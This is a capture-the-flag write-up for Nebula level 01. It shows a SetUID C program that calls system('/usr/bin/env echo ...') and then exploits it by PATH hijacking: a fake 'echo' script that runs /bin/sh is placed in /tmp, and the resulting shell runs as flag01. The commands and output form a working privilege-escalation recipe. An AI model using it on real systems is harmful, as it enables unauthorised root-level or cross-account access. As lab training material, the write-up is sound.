Level 01
Exploiting an insecure PATH environment variable in a SetUID C program.
Description
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Approach
The vulnerability lies in the system() call. The binary uses /usr/bin/env echo and now what?. Because echo is called without its absolute path (e.g., /bin/echo), the system will search for the echo executable in the directories specified by the PATH environment variable.
Since we control our environment variables, we can manipulate PATH to hijack the execution flow:
- We navigate to a directory where we have write access, such as
/tmp. - We create a malicious script named
echothat will spawn a shell.level01@nebula:/usr/games$ echo '/bin/sh' > /tmp/echo level01@nebula:/usr/games$ chmod +x /tmp/echo - Next, we modify the
PATHvariable to prioritize/tmpover the standard system directories.level01@nebula:/usr/games$ export PATH=/tmp:$PATH - Now, when we execute the SUID binary
/home/flag01/flag01, theenvcommand will look forechoand find our malicious script in/tmp/echofirst. - The binary executes our script with the elevated privileges of
flag01, dropping us into a shell. - From the new shell, we can run
getflag.
Output
level01@nebula:/home/flag01$ cd /usr/games/
level01@nebula:/usr/games$ echo '/bin/sh' > /tmp/echo
level01@nebula:/usr/games$ chmod +x /tmp/echo
level01@nebula:/usr/games$ export PATH=/tmp:$PATH
level01@nebula:/usr/games$ cd /home/flag01/
level01@nebula:/home/flag01$ ./flag01
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account